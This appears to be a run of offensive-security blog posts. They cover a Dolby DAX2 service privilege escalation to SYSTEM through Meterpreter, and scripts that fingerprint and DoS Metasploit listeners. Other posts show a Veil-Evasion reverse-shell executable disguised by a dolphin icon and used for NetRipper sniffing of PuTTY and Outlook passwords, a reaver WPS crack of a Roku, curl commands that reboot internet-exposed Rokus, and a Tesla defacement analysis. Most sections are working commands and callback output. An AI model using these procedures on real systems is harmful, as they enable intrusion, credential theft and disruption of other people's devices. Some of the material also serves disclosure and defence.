Privilege Escalation (SYSTEM) via Dolby’s DAX2_API Service (Windows 10)

Summary:
Dolby’s DAX2 API ships with insecure file permissions giving us the ability to get SYSTEM on (in this case), Windows 10 on a Lenovo Thinkpad.

From the service properties description:
“Dolby DAX2 API Service is used by Dolby DAX2 applications to control Dolby Audio components in the system.”

The Dolby DAX2 API ships with Lenovo’s and Windows 10 by default.

Version:

version

This particular scenario, assumes you either:

  1. Already have a shell on a windows 10 machine, as a non-privileged user via a meterpreter payload, or
  2. Have a login on a machine as a standard user account where you can execute your payload.

We’ll go with the “Already have a shell…via meterpreter” scenario for the purpose of this disclosure considering physical access to a machine is usually game-over anyway.

Some Details:
The DolbyDAX2API.exe Service (DAX2_API) is loaded whenever the user runs the Desktop UI (DolbyDAX2DesktopUI.exe).
We can see that the DAX2API service runs as SYSTEM.

desktop UI

We can see that the actual service permissions are ok, but the permissions on the executable are pretty NOT OK:

Service:service perms

Executable:

exe perms

The obvious issue is that users in the “Authenticated Users” group, have the ability to replace the “DolbyDAX2API.exe” file, which runs as SYSTEM, which is called by the Desktop UI (DolbyDAX2DesktopUI.exe).

A minor set-back:

While testing locally, and after replacing the service executable (DolbyDAX2API.exe) with our payload binary, and running the Desktop UI (DolbyDAX2DesktopUI.exe) to call it, I found that the payload would connect out to the listener, live, for about 5-10 seconds, then die, and the app would complain that some parts were missing:

parts missing

This meant that locally replacing the DolbyDAX2API.exe with our payload, and simply executing it, wouldn’t work for a persistent session considering the Dolby Desktop UI (DolbyDAX2DesktopUI.exe) process was now missing pieces required for it to stay stable; (the modified DolbyDAX2API.exe file).

This would give me a really small time window in which to do anything from the listener-side once the payload connected back. I’d run a session -i (interact) command, have a few seconds, and the payload would die.

Allow me to explain…

We have an existing meterpreter session we got through some other exploit as a regular user (test), but we can’t get system through the somewhat usual mechanisms:

usual mechanims

Since we’re a regular user, with the ability to overwrite a file that runs as SYSTEM, the next step was to upload our payload to the Dolby API directory, overwrite the API service executable, and execute the Desktop GUI, essentially, now loading our payload as SYSTEM (under a new session):

Upload payload to replace service binary:

upload payload to replace

Execute the Desktop UI (notice the UI is in a different directory), essentially calling our payload as SYSTEM:

execute the desktop ui

Unfortunately, and as I mentioned previously, replacing the service binary with a custom file, and executing the Desktop UI file to call our payload as SYSTEM, we already know doesn’t work due to the fact that the payload dies since it’s an unknown file to the Desktop UI, and we end up with the “Missing components” error, and ultimately no shell (dead payload, timeout) :
parts missing

Dead Payload, our payload service has shut itself down:

has shut itself down

No good. We need a workaround for a payload that dies due to its parent not recognizing it.

Fortunately, there’s a really convenient handler option to deal with this problem. Using the “InitialAutoRunScript” on the listener, I could, once the payload connected, automatically migrate the DolbyDAX2API.exe process to a more stable one with the migrate -f option. This worked like a charm.

My listener resource script ended up looking something like:

(handler.rc)

use exploit/multi/handler
set ExitOnSession false
set LHOST x.x.x.210
set LPORT 443
set PAYLOAD windows/meterpreter/reverse_https
set InitialAutoRunScript migrate -f
exploit -j

What we end up with, is when the second session (the SYSTEM) one is created by remotely calling the Desktop UI, the handler immediately, and automatically, migrates our payload DolbyDAX2API.exe process to a more stable one, launching our payload as SYSTEM, which is where we ultimately stay.

So, starting again from our regular user (test) meterpreter shell, but this time with the InitialAutoRunScript option in our resource file set to automatically migrate the unstable DolbyDAX2API.exe process:

msf exploit(handler)> sessions -l
Active sessions
===============
Id  Type                   Information       Connection
--  ----                   -----------       ----------
1   meterpreter x86/win32  MACHINE1\test @ MACHINE1  x.x.x.210:443 -> x.x.x.2:50026 (x.x.x.181)

Interact with the regular user session:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : MACHINE1
OS              : Windows 10 (Build 10586).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32

Upload our payload.exe to replace the service binary (DolbyDAX2API.exe) in C:\Program Files\Dolby\Dolby DAX2\DAX2_API

meterpreter > upload payload.exe "C:\\Program Files\\Dolby\\Dolby DAX2\\DAX2_API\\DolbyDAX2API.exe"
[*] uploading  : payload.exe -> C:\Program Files\Dolby\Dolby DAX2\DAX2_API\DolbyDAX2API.exe
[*] uploaded   : payload.exe -> C:\Program Files\Dolby\Dolby DAX2\DAX2_API\DolbyDAX2API.exe
meterpreter >

Call the Desktop UI, which will load our new payload, and automatically migrate it to another (more stable) process thanks to the InitialAutoRunScript migrate -f option:
(note, the desktop UI is in a different directory than the service executable)

meterpreter > execute -f "C:\\Program Files\\Dolby\\Dolby DAX2\\DAX2_APP\\DolbyDAX2DesktopUI.exe"
Process 6212 created.

[*] x.x.x.2:50029 (UUID: 40d9e603d0260ceb/x86=1/windows=1/2016-01-26T03:28:54Z) Staging Native payload ...

[*] Meterpreter session 2 opened (x.x.x.210:443 ->; x.x.x.2:50029) at 2016-01-26 03:28:54 +0000
[*] Session ID 2 (x.x.x.210:443 ->; x.x.x.2:50029) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: DolbyDAX2API.exe (4632)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 7044
[+] Successfully migrated to process

Exit the current session:

meterpreter > exit

[*] Shutting down Meterpreter...
[*] x.x.x.181 - Meterpreter session 1 closed.  Reason: User exit

Interact with your newly created, and (migrated) SYSTEM session:

msf exploit(handler) > sessions -l

Active sessions
===============
Id  Type                   Information                 Connection
--  ----                   -----------                 ----------
2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ MACHINE1  x.x.x.210:443 -> x.x.x.2:50029 (x.x.x.181)

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

Drop into a shell:

meterpreter > shell
Process 6184 created.
Channel 1 created.
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

Confirm that you’re now SYSTEM:

C:\WINDOWS\system32>whoami
whoami

nt authority\system

C:\WINDOWS\system32>

Have fun and exploit responsibly!

Fingerprinting Meterpreter HTTP/S Handlers and Listener DoS PoC

A couple findings that will demonstrate an ability to identify and DoS (setup fake malformed meterpreter stages between listener and attacker) meterpreter https (and possibly http) handlers.

TL;DR summary:

1. By issuing GET requests to certain files dished out by the handler/listener and checking their contents for a “core_patch_url” string, fingerprinting of Reverse Handlers is possible.

2. By issuing malformed or prematurely terminated GET requests to files dished out by the handler/listener, the listener can be tricked into opening a Meterpreter session and forced into a state where it stops accepting sessions. (Handler DoS)

Download:

Reverse Handler DoS script:  https://gist.github.com/x-42/10e1ce596a7cb27877b6

Reverse Handler Detector script: https://gist.github.com/x-42/b663a0af20cda4aa0683

First, the port you set the listeners up on are accessible via a URL, by design:

There exist a number of files, which can be requested via the listener URL, which, depending on the file being requested, can cause the handler to behave in a number of unexpected ways. The contents (and types) of files we can “GET” can be used to confirm the existence of a listener running on a machine, or launch a DoS attack against the listener by issuing “fake” Meterpreter stage sessions via a specific URL request to the handler.

For instance, launch a handler with a meterpreter reverse https payload:

use exploit/multi/handler
set ExitOnSession false
set LHOST 666.666.666.666
set LPORT 65535
set PAYLOAD windows/meterpreter/reverse_https
exploit -j

Once that’s running, request a “chpwd.htm” file from the listener:

$ wget -qO- --no-check-certificate https://666.666.666.666/chpwd.htm

�core_patch_url��/LUDZ6djujGbWvte_gMomnQm7EQVgW7RJfg3xpGoDUgRe_SdhLJBud68viiiDN1UsrniHZsjxLn9qYOo4YJIIU6K5ZnhNsuoGoPuWqKpQQVtxU6L4EQg8ka9cZ4aJ-/

You can see in the output of the contents of the "chpwd.htm" file, the string "core_patch_url" followed by a randomly generated string. The "core_patch_url" will be our fingerprint.

On the listener side, the log we see (when requesting chpwd.htm) is:

73.x.x.x:47054 (UUID: 2d40d9e9d8ee8c66/x86=1/windows=1/2015-12-19T05:50:27Z) Redirecting stageless connection from /chpwd.htm with UA 'Wget/1.16 (linux-gnu)'

Alternatively, we can request a file "blank.php". This file appears to actually be the stager generated by the listener.

$ wget --no-check-certificate https://666.666.666.666/blank.php
$ file blank.php: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

The downloaded "blank.php" file i'm guessing is the stager DLL generated by the handler, but for reasons unknown, is being given a .php extension.

On the listener side, the log we see (when requesting blank.php) is:

[*] 73.x.x.x:10458 (UUID: 376988d5161359f3/x86=1/windows=1/2015-12-19T04:44:20Z) Staging Python payload ...
[*] Meterpreter session 57 opened (666.666.666.666:65535 -> 73.x.x.x:10458) at 2015-12-19 04:44:20 +0000

Requesting the "blank.php" file appears to trigger a python stage and actually opens up a meterpreter session. (Although invalid and is soon terminated):

[-] Meterpreter session 57 is not valid and will be closed

The meterpreter output from above confirms we can initialize "fake" malformed sessions (or prematurely terminated sessions). Essentially DoS'ing the handler, causing a timeout condition between any "true" payloads and the handler/listener.

Aside from the "chpwd.htm" core_patch_url file and the "blank.php" binary file, we can find the following, are also accessible:

==================================================

Python script for fingerprinting handlers:

#!/usr/bin/env python
# checks to see if a port is running a metasploit reverse https listener service.
# checks a url for the existence of a file called "chpwd.htm" which contains "core_path_url" in its contents.
# Usage: python finger.py http[s]://ip:port

import os
import urllib2
import sys

class x:
    r = '\033[91m'
    b = '\033[0m'

if len(sys.argv) != 2:
    print 'Usage: python %s [http(s)://ip:port]' % sys.argv[0]
    exit()

target_ip = sys.argv[1]
finger = os.system("wget -qO- --no-check-certificate " + target_ip + "/chpwd.htm" + " --output-document=/tmp/handler_finger")

with open('/tmp/handler_finger', 'r') as content:
    content = content.read()

if "core_patch_url" in content:
    print x.r + "*** Looks like a Metasploit Handler is listening on " + target_ip + " ***" + x.b

if "core_patch_url" not in content:

    print x.r + "Not a Metasploit Listener."

Here's a script to setup some malformed "sessions" between you and the listener, which in in this case, causes a DoS condition between a valid payload and the listener:

#!/usr/bin/env python

import os
import sys

if len(sys.argv) != 2:
    print 'Usage: python %s [http(s)://ip:port]' % sys.argv[0]
    exit()

ip = sys.argv[1]

def dos():
    for i in range(1):
        os.system("wget -qO- --no-check-certificate " + ip + "/blank.php" + " --output-document=/tmp/blank.php")

while True:
    print '.'*30
    dos()
    print "Press CTRL-Z to DoS the Listener" # This is required to kill the connection prematurely

Mitigation:

By default, the listeners are configured to allow connections from any "payload" UUID. Setting "IgnoreUnknownPayloads true" in your resource script for the listener, or on the msfconsole command line should mitigate this, however, the payload and listener will need to be configured in "Paranoid Mode". More info here: https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

OR, a quick iptables allow inbound from shell IP to listener port:

iptables -I INPUT -p tcp -m tcp -s 0.0.0.0/0 --dport $LISTENER_PORT -j DROP
iptables -I INPUT -p tcp -m tcp -s $SHELL_IP --dport $LISTENER_PORT -j ACCEPT
iptables -L

Sniffing Encrypted puTTY/Outlook credentials with Metasploit/NetRipper

NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption.

NetRipper was released at Defcon 23, Las Vegas, Nevada.” – https://github.com/NytroRST/NetRipper

NetRipper offers a standalone command line process injection method, for once you’ve exploited a windows machine and can upload/execute commands, but this post will cover a pre-compiled “malicious” executable method with a built-in meterpreter reverse_tcp shell. It should also be be noted that NetRipper is currently capable of injecting into, and capturing data from Firefox, Chrome, Lync (Skype for Business), puTTY, WinSCP, SQL Server Management and Microsoft Outlook. This post will cover puTTY and Outlook and does not require Administrator or SYSTEM privileges on the target.

Exploitation (in this case) can be accomplished by:

1. Creating a “malicious” reverse_tcp shell-enabled executable with Veil-Evasion. User executes the file thinking that a cute dolphin will appear?

2. Exploiting a pre-existing vulnerability and getting a reverse shell by some other means.

We’ll be focusing on the reverse_tcp shell-enabled executable method.

Create the .exe with Veil-Evasion

use python/meterpreter/rev_tcp

set LHOST 192.168.227.133
set LPORT 4444
set USE_PHYERION Y
generate

Set EXE base name and choose your payload creation method.

Change the exe icon to a dolphin because dolphins are special. You can use Resource Hacker for that.

Download NetRipper and configure it for metasploit

git clone https://github.com/NytroRST/NetRipper.git
cd NetRipper
cd Metasploit
cp netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/
mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper
g++ -Wall netripper.cpp -o netripper
cp netripper /usr/share/metasploit-framework/modules/post/windows/gather/netripper/
cd ../Release
cp DLL.dll /usr/share/metasploit framework/modules/post/windows/gather/netripper/DLL.dll

Setting up the Metasploit listener

Setup up your reverse handler and start it:

Execute the payload on the target machine:

Meterepreter session opened:

Send meterpreter into the background so we can load our netripper module:

meterpreter >background

Load the netripper module, configure it, and run it:

At this point, the injected processes are saving data to the temp directory defined by the TEMP environment variable on the target machine, in this case:

[C:\Users\<user>\AppData\Local\Temp\NetRipper]

Once the user opens up a puTTY session, the passwords and commands will be saved to:

For the MS Outlook capture, you’ll be looking for a basic auth base64 encoded string:

That’s it!

MS15-034_SSL (Detecting http.sys vulnerable hosts on SSL-based services)

I wrote a little python script you can use to check for the MS15-034 HTTP.sys DoS vulnerability on IIS boxes, but over SSL.

Useful in situations where the target server is only exposing SSL-enabled ports, or for general stealthiness when you don’t wanna blast the usual standard HTTP ports with a noisy ‘Range: bytes:’ string… (requires the remote host is actually using SSL/TLS or you’ll get an unknown protocol error.)

https://github.com/x-42/MS15-034_SSL

Cracking the Roku V2 WPA2-PSK

So my weekend ended up being a Roku vulnerability assessment project.

Starting with remotely sending API requests to navigate through Roku menu’s from a bash shell to issue a reboot or factory-reset, adding channels, etc.. to ultimately leading to cracking the WPA2-PSK key between the Roku “Wifi-Direct” remote control and the Roku base-station. My thought process was that if I can crack the WPA2-PSK, and connect to the Roku SSID, that this could be potentially exploited in a wardrive type of scenario leading to abusing others’ internet connections (through their Roku’s), depending on how they’re set up. The ability to connect to a users’ Roku SSID could also lead to compromise of the internal network the Roku is sitting on.

The first thing I looked into was the “remote pairing” function. I wondered whether the PSK was passed along during the pairing process. That didn’t happen. No EAPOL’s were transmitted during the “Remote pairing” phase.

What i did find, was that the EAPOL handshake occurred after a reboot of the Roku. Once the Roku unit is rebooted, the remote control passes the WPA2-PSK to the “base-station” for authentication. This is what allows communication between the remote and the Roku. The remote is the “station”, and the Roku unit is the WAP. The remote and station setup up their own Wi-Fi network for communication. It looks like the process Roku uses for this connectivity between the remote and the “base-station”, is “Wifi-Direct“, similar to a standard ad-hoc WiFi mode.

So, firing up airodump-ng caught the handshake pretty quickly (within 4 minutes) upon reboot of the unit:

handshake

First, i ran aircrack-ng with a password list I’ve compiled over time against the captured EAPOL’s with no luck.

I also created a custom dictionary (Company name, Serial Number variations, Roku MAC Addresses, etc..), added it to my existing wordlist, and ran a crack using John The Ripper with the “–rules” option enabled on a GPU-based password cracking machine with 4 GPU’s in it. No luck there either.

Seeing as how I probably wasn’t going to crack the PSK using either of those methods due to probably an extremely complex PSK scheme (i’d hope), i had to find another way.

My thought was maybe they’re using a WPS-type setup in connecting the remote control to the unit. This turned out to be true:

iw wlan0 scan output:

        WPS:    * Version: 1.0
                * Wi-Fi Protected Setup State: 2 (Configured)
                * Response Type: 3 (AP)
                * UUID: 22210203-0405-0607-0809-xxxxxxxxxxxxxx
                * Manufacturer: Broadcom
                * Model: SoftAP
                * Model Number: 0
                * Serial Number: 0
                * Primary Device Type: 6-0050f204-1
                * Device name: DIRECT-roku-ABE915
                * Config methods: Display, Keypad
                * RF Bands: 0x1
                * Unknown TLV (0x1049, 6 bytes): 00 37 2a 00 01 20

I immediately fired up our good friend Reaver and gave it a go.

After trying a number of arguments and getting nothing but fails:

[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred

This one did the trick (in 5 seconds):

reaver -i wlan0mon -b DC:3A:5E:XX:XX:XX -c 9 -vv -w -a -S -N

//cut....//
[P] AuthKey: 2c:93:b1:24:0d:6f:d3:0e:b0:78:e8:49:03:ac:87:1b:5a:d7:2d:7f:a0:77:7e:86:dc:98:01:0d:15:15:9b:72
[+] Sending M2 message
[+] Received M1 message
[P] E-Hash1: bb:45:5d:4b:4f:70:4e:e5:28:61:52:ed:4b:5e:4e:0c:c5:7a:30:b5:81:90:5c:8a:f1:4e:90:9b:14:3a:fc:48
[P] E-Hash2: d8:b4:94:9c:8d:37:95:a0:b0:a0:86:83:eb:70:d4:43:13:b4:b9:c1:a2:bf:a0:4a:f1:80:77:0c:a6:9f:f9:00
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 5 seconds
[+] WPS PIN: '00000000'
[+] WPA PSK: '25A36FBDC7A776EC9D6D09AB5B038507EE43D594B1791EA5xxxxxxxxxxxxxxxx'
[+] AP SSID: 'DIRECT-roku-ABE915'

So…it looks like Roku is using a WPS PIN of “00000000” (bad, in general) for the connection between the remote and the unit, and we’ve also cracked the WPA2-PSK.

Even with the PSK being insanely long, the weak WPS PIN or even WPS implementation, in general, cancels out the strength of the PSK.

Having now obtained the pre-shared key that authenticates the remote control to the base-station, it was a pretty simple task associating with the Roku from a linux-based wireless client using a wpa_supplicant configuration in addition to a static wlan0 IP config in /etc/network/interfaces:

wpa_supplicant.conf:
===============================

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid="DIRECT-roku-ABE195"
    proto=RSN
    key_mgmt=WPA-PSK
    pairwise=CCMP
    group=CCMP
    psk=97A36DBDC7A726EC9D6D09AB5B038507EE43D594B179xxxxxxxxxxxxxxxxxx
}

===============================

$sudo ifup wlan0

/var/log/daemon.log:

wlan0: Trying to associate with dc:3a:5e:xx:xx:xx (SSID='DIRECT-roku-ABE915' freq=2452 MHz)
wlan0: Associated with dc:3a:5e:xx:xx:xx
wlan0: WPA: Key negotiation completed with dc:3a:5e:xx:xx:xx [PTK=CCMP GTK=CCMP]
wlan0: CTRL-EVENT-CONNECTED - Connection to dc:3a:5e:xx:xx:xx completed (auth) [id=0 id_str=]

And although wireless association with the Roku from a third-party wireless client was successful, due to the nature of the connection between the remote control and the base station being an “ad-hoc” type of “enclosed” wireless network, I have yet to be able to successfully pass-thru to the home wireless network, which provides the internet access for the Roku itself.

Things I’ve tried already with no success:
– Spoofing the MAC address of the remote control.
– Spoofing the MAC address(es) of the Roku. (It has three?, btw)
– Enabling “Developer Mode” and setting up debug on the Roku and using its tcpdump functionality (http://roku_ip/pkgs) to try and ascertain the IP addressing scheme of the ad-hoc network. Maybe catch some ARPS…no luck.
– Using the Roku as the gateway device.
– Using my usual WAP as the gateway device as a last resort.

At the end of the day, it was still interesting to crack the PSK and WPS PIN. If anyone has any thoughts or suggestions on escalating this flaw (or absense of a secure PIN) to getting internet connectivity through the Roku, don’t hesitate to drop a line.

Take-aways:

1. Roku WPA2-PSK cracked due to weak WPS PIN
2. Roku WPS Pin is 00000000
3. Just because you decide to use an impossible-to-surmise WPA2-PSK pass-phrase, implementing it through WPS is useless.

How to reboot or factory-reset 1761 internet-facing Roku devices with a few curl commands

** UPDATE 3 [7/27] – Some pretty rad research by John Matherly on the shodan blog based on some of these findings.
** UPDATE 2 [7/26]: John Matherly of Shodan.io was kind enough to trigger an internet-wide scan of TCP/8060 to get a better picture of how many devices might be misconfigured to accept API commands from anyone on the internet. Should have some accurate numbers soon, but it’s currently looking like there are ~1900+ devices out there with their API ports hanging out all over the place.

After digging a little bit more… The shodan search actually returned results for UPnP port 1900 and not 8060. 1900 is used by the Roku to advertise itself to other Roku’s on the same network using the SSDP protocol. I don’t believe it’s possible to use that port to issue the API commands i reference to IP’s with UDP/1900 open.

Also, If you want to find the IP addresses of Roku devices on the network you’re on, you’ll have to:

1. create a file with the following in it:

M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
Man: "ssdp:discover"
ST: roku:ecp
[leave a blank line here]

2. Feed that request to netcat while connecting to the multicast address on UDP 1900:

nc -u 239.255.255.250 1900 < ROKU_SSDP_REQUEST.txt

3. Use wireshark to catch any responses. You should see a Location response header with the IP of any Roku’s in the vicinity:

HTTP/1.1 200 OK
Cache-Control: max-age=3600
ST: roku:ecp
USN: uuid:roku:ecp:[SERIALNUMBER]
Ext:
Server: Roku UPnP/1.0 MiniUPnPd/1.4
LOCATION: http://192.168.29.181:8060/

It still may be possible to identify Roku’s internet-facing TCP/8060 ports with something like a masscan where the internet IP’s respond with a Server header of “Roku UPnP/1.0 MiniUPnPd/1.4”:

$netcat [internet_ip] 8060
HTTP/1.1 400 Bad Request
Server: Roku UPnP/1.0 MiniUPnPd/1.4
Content-Length: 0

======================================================================

I Wrote a simple script you can use to bounce a Roku via a bash shell. You can modify this to navigate to other functions like… “factory reset” although that would just be MEAN.

This script basically issues “keypress” commands to the API at TCP/8060 which in turn, navigates through the menus.

Example:
curl -d ” http://$TARGET:8060/keypress/home
curl -d ” http://$TARGET:8060/keypress/down
curl -d ” http://$TARGET:8060/keypress/up
curl -d ” http://$TARGET:8060/keypress/right
etc…

Here’s a shodan query with what looks like Roku devices with their API ports facing the internet. *WHY* are they facing the internet? who knows…but that’s a horrible idea.

https://www.shodan.io/search?query=ROKU

There are currently 1761 Roku API ports exposed on the internet:

open ROKU's

The Roku api keypress options are:

Home
Rev
Fwd
Play
Select
Left
Right
Down
Up
Back
InstantReplay
Info
Backspace
Search
Enter
Lit_*

You can use this as a reference to their API.

PoC:
https://github.com/x-42/ROKU_restart.sh/blob/master/ROKU_restart.sh

Observations on the Tesla Motors Twitter Hack and Website Defacement: More Than Just a Domain Hijack

What you’re about to read is a rough break-down of the Tesla Motors Twitter and teslamotors.com website defacement, and also the possibility of the compromise of one of the “AkamaiGHost” web caching/mirror servers Tesla Motors appeared to be utilizing for redundancy or load-balancing at the time of the hack, a detail no one really mentioned during or post-occurrence…So I thought I’d share my findings.

Mid-day, On Saturday April 25th 2015, information about a Tesla Motors twitter account take-over started flowing unto the fragile webs, followed by the take-over of the official Elon Musk twitter account:

Both accounts obviously indicating they were freshly compromised by a “RIPPRGANG”, which will later be found to be LizardSquad.

Upon seeing this, I head over to www.teslamotors.com to find that it, had also been hacked:

It read, “Hacked by Autismsquad!”
Naturally, I checked out the HTML source, which, at the time, was viewed from a machine in the US… (more on geo-location later and how it was critical to the findings later on in this analysis).

Here’s the source code of the content that would eventually make its way around the internet (just a quick “view-source” from my browser):

A copy of the complete source can also be found here: http://hastebin.com/raw/egipewexib

As time passed, literally minutes into the hack, several theories began to emerge:

  • The Twitter accounts weren’t configured to use two-factor auth, and were brute-forced, and accessed due to weak passwords and/or password re-use across multiple twitter accounts, although this wouldn’t have explained the website defacement, unless those same exact credentials were being used for the Network Solutions control panel.
  • The domain registrar login information for teslamotors.com, registered with Network Solutions, was social engineered, and from there, DNS modifications were made. Specifically, the MX records, A and NS records were also changed to point to an IP address controlled by the attackers. From there, they would issue a password reset and would receive all mail for that domain (including the new credentials/temporary link, whatever it is with twitter.) With a change in A and NS records, the attackers would have complete control as to what IP address the domain would ultimately end up resolving to, which would host the hacked page. (This theory ends up being the one everyone runs with)
  • Another theory would include social engineering AT&T to get all phone calls to a legit number forwarded to another number that the attackers controlled, which could then have been used to change the domain details at Network Solutions using that particular verification method. This is actually the method put forth by a Tesla Motors Press Release, but not one which I particularly subscribe to.

At the end of the day, the steps, in order, would had to have been something like:

1. Social Engineer your way through Network Solutions’ Customer service to get access to the domain details, DNS settings, etc.
2. Modify the MX record to point to a mail server you control. Also modify the A and NS records, and point the TLD and www subdomain to an IP hosting the “Autismsquad” page.
3. Receive all mail for the teslamotors.com domain.
4. Request a password reset for the twitter accounts.

Further Down the Lizard Hole

It was time to get some specifics, technically.

From a machine far-away on the other side of the planet (Japan), I run an nslookup on the teslamotors.com domain which showed that it was resolving to a 69.192.182.25 IP:

This is an Akamai IP address, running their “AkamaiGHost” HTTP accelerator/Mirror service.

This didn’t make sense at first, because it’s not often you come across a defaced page, being hosted on one of these unless it was a truly compromised box. Not typical of a DNS-Hijack, and there had been early confirmation (on twitter) of a digital ocean box that had been hosting the defaced content. So the fact that this was Akamai didn’t make much sense right away.

My initial thought was that DNS propagation hadn’t made it to Japan yet. I had to react quickly to get an idea of the content that was sitting on the 69.192.182.25 (e7797.x.akamaiedge.net):

$wget http://www.teslamotors.com/index.html

In any other situation, what I would have gotten would be the defaced index.html file that would match the hacked HTML source earlier in this analysis, in the “Autismsquad” defacement, but this wasn’t the case.

What I actually ended up getting was an un-modified teslamotors.com index page. Which I identified by the Title tag, and the build information comment at the bottom of the source:

This, to me, indicated that the original teslamotors.com site was still accessible from my machine in Japan, which sort of confirmed the “DNS hasn’t propagated to Japan” theory so far…Ok…

Get a little more info. A quick version scan of TCP/80 revealed an http-robots.txt file with some disallows defined:

I grab the INSTALL.pgsql.txt and INSTALL.sqlite.txt files.

The files referenced in the robots disallow are remnants indicative of a Drupal installation and are publicly accessible.

The INSTALL.pgsql.txt file with a default Drupal install, usually explains how to create some tables and database users for your installation, but not in this case…

This is where it gets interesting…

$wget http://www.teslamotors.com/INSTALL.pgsql.txt

We’ve downloaded the INSTALL.pgsql.txt file.

INSTALL.pgsql.txt (2,638 bytes)
MD5: 731ede73118b9c24f788752f76becd4c


Just to be clear, an ORIGINAL, unmodified Drupal 7 INSTALL.pgsql.txt file that I later downloaded had an MD5 of 3f682f768267764ca2c4a2d0e88660e6 and a file size of 1,874 bytes.

To my surprise, the contents of the INSTALL.pgsql.txt were not the standard Drupal database config instructions, but rather, defacement code which pointed to “LizardSquad”, rather than “Autismsquad” that we saw in the “live” defacement page:

The only difference between the actually hosted defacement page source code, and the source code hidden in the INSTALL.pgsql.txt file, was the attribution, which noted LizardSquad, and some other minor details, like the dimensions of the embedded YouTube video.

I think it’s safe to say, that the Akamai box, is physically hosting a version of the HTML source code of the defacement, but hiding within the INSTALL.pgsql.txt and INSTALL.sqlite.txt files, which I have the original downloaded files posted here, and here, respectively.

It’s at this point that I realize that somewhere along the way, the hack started as “LizardSquad”, and ended up evolving into an “Autismsquad” hack. The interesting piece here being that these modified Drupal INSTALL* files were physically being hosted on a machine controlled and owned by Akamai/Tesla, as we can confirm via the SSL certs’ “commonName” identifier on the 69.192.182.25 (Akamai) mirror machine:

These facts, indicate that this Tesla/Akamai machine had been accessed (at some point), and the INSTALL.pgsql.txt and INSTALL.mysql.txt files were modified, and their contents replaced with “Lizardsquad” tagged defacement HTML source code, which would later be modified, and used in the Autismsquad DNS Hijack.

Questions still remain however… how was the akamai box compromised? Was it accessed as part of the Network Solutions Social Engineering phase? Was it compromised via a Drupal 7 exploit? 0day? Were the credentials to an Akamai LUNA control panel compromised via the the aforementioned SE methods? What are your thoughts? Did I step into some weird LizardSquad wormhole? I’m tired. And going to bed. Good Night, Good Morning, whatever it may be.